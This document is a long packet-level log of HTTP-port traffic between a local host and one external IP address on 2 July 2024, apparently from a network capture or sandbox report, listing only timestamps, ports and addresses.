Jul 2, 2024 04:12:06.171667099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171669960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171688080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171694040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171720982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171730042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171777010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171787024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171803951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171814919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171834946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171839952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171849012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171864033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171874046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171883106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171885014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171900034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171900988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171916962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.171921015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171936989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.171952963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245466948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245487928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245501995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245528936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245538950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245544910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245554924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245557070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245584011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245589018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245594978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245605946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245621920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245630026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245634079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245651007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245660067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245661020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245676994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245687008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.245691061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.245722055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259287119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259295940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259320021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259334087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259337902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259349108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259351969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259367943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259377003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259377956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259393930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259413004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259422064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259432077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259448051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259457111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259462118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259484053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259485006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259496927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259507895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259514093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259521961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259535074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259545088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259551048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259567022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259576082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259581089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259589911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259608030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259615898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259618044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259629011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259644985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259651899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259655952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259668112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259680986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259695053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259751081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259762049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259777069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259785891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259789944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259805918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259814978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259815931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259835958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259840012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259850025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259865999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259865999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259879112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259887934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259896994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259907007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.259916067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259934902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.259960890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260010958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260020971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260039091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260050058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260073900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260128021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260138988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260155916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260166883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260169029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260178089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260191917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260198116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260212898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260214090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260225058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260232925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260250092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260251045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260270119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260270119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260279894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260286093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260298967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.260305882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260317087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.260335922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.297383070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.302236080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475668907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475683928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475702047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475717068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475727081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475743055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475742102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475759983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475779057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475788116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475796938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475815058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475825071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475836039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475843906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475853920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475864887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475868940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475879908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475891113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475891113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475905895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475908041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475915909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475933075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475933075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475941896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475959063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475967884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475967884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475979090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.475996017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.475996017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476011038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476012945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476023912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476037025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476038933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476052046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476064920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476083040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476088047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476097107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476114988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476115942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476125002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476130009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476135015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476140022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476140976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476155996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476171970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476192951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476305962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476315975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476336002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476351023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476372004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476375103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476383924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476398945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476408005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476408005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476419926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476443052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476475000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476506948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476511002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476517916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476532936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476541996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476546049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476557016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476560116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476572990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476583958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476592064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476603031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476614952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476619005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476623058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476638079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476648092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476655006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476681948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476758957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476768970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476783991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476800919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476819038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476824045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476833105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476849079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476855993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476857901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476902962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476911068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476912022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476927996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476927996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476928949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476946115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476954937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.476964951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476980925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.476980925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477005005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477035999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477045059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477058887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477067947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477080107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477085114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477094889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477108002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477112055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477123976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477133036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477139950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477139950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477166891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477190018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477339983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477351904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477363110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477375031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477394104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477402925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477411985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477427959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477438927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477449894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477464914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477468967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477478981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477490902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477497101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477507114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477521896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477524996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477538109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477560997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477696896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477706909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477722883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477730989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477744102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477747917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477758884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477767944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477773905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477786064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477792978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477802038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477813005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477818966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477828979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477837086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477847099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477848053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477858067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477874041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477875948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477896929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477907896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477916956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477921009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477933884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477942944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477942944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477952957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477977037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.477988958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.477999926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.478014946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.478025913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.478034019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.478035927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.478041887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.478055000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.478064060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.478065968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.478080988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.478101969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565045118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565099001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565102100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565110922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565136909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565149069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565166950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565176010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565191984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565201044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565207005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565222025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565231085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.565231085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.565251112 CEST	80	49704	85.28.47.4	192.168.2.5
